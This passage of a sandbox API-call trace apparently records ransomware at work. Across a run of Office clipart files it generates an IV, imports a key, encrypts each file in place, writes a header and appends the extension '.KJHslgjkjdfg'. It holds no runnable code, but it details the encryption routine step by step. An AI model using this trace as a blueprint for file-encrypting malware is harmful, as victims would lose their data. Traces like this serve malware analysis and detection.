lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6fe0, lpOverlapped=0x0) returned 1 [0178.227] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x70b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.227] SetEndOfFile (hFile=0x114) returned 1 [0178.230] GetProcessHeap () returned 0x2a0000 [0178.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.230] GetProcessHeap () returned 0x2a0000 [0178.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.kjhslgjkjdfg")) returned 1 [0178.232] CloseHandle (hObject=0x114) returned 1 [0178.232] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0178.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.233] GetProcessHeap () returned 0x2a0000 [0178.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.233] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.238] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.238] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.238] GetProcessHeap () returned 0x2a0000 [0178.238] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.238] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.238] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.238] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.238] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.239] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f6e, lpOverlapped=0x0) returned 1 [0178.242] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f70, dwBufLen=0x5f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f70) returned 1 [0178.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f70, lpOverlapped=0x0) returned 1 [0178.243] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.244] SetEndOfFile (hFile=0x114) returned 1 [0178.255] GetProcessHeap () returned 0x2a0000 [0178.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.255] GetProcessHeap () returned 0x2a0000 [0178.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.kjhslgjkjdfg")) returned 1 [0178.256] CloseHandle (hObject=0x114) returned 1 [0178.257] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0178.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.260] GetProcessHeap () returned 0x2a0000 [0178.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.260] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.260] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.260] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0178.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.352] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.353] GetProcessHeap () returned 0x2a0000 [0178.353] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.356] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.356] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.356] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.362] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.362] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.363] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.363] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.363] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.363] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b4a, lpOverlapped=0x0) returned 1 [0178.364] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b50, dwBufLen=0x4b50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b50) returned 1 [0178.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.365] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b50, lpOverlapped=0x0) returned 1 [0178.365] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.365] SetEndOfFile (hFile=0x114) returned 1 [0178.368] GetProcessHeap () returned 0x2a0000 [0178.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.368] GetProcessHeap () returned 0x2a0000 [0178.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.kjhslgjkjdfg")) returned 1 [0178.370] CloseHandle (hObject=0x114) returned 1 [0178.370] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0178.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.371] GetProcessHeap () returned 0x2a0000 [0178.371] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.371] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.371] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.385] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.385] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.385] GetProcessHeap () returned 0x2a0000 [0178.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.385] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.385] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.386] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.386] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.386] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.386] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.386] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.386] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.386] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c88, lpOverlapped=0x0) returned 1 [0178.388] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c90) returned 1 [0178.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.389] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c90, lpOverlapped=0x0) returned 1 [0178.389] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.389] SetEndOfFile (hFile=0x114) returned 1 [0178.392] GetProcessHeap () returned 0x2a0000 [0178.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.392] GetProcessHeap () returned 0x2a0000 [0178.392] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.kjhslgjkjdfg")) returned 1 [0178.393] CloseHandle (hObject=0x114) returned 1 [0178.394] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0178.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.397] GetProcessHeap () returned 0x2a0000 [0178.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.397] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.397] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0178.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.400] GetProcessHeap () returned 0x2a0000 [0178.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.401] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.401] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.401] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.401] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.401] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.401] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.401] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.401] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.401] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.401] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.401] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e46, lpOverlapped=0x0) returned 1 [0178.403] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e50) returned 1 [0178.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e50, lpOverlapped=0x0) returned 1 [0178.403] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.404] SetEndOfFile (hFile=0x114) returned 1 [0178.406] GetProcessHeap () returned 0x2a0000 [0178.406] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.406] GetProcessHeap () returned 0x2a0000 [0178.406] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.kjhslgjkjdfg")) returned 1 [0178.408] CloseHandle (hObject=0x114) returned 1 [0178.408] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, 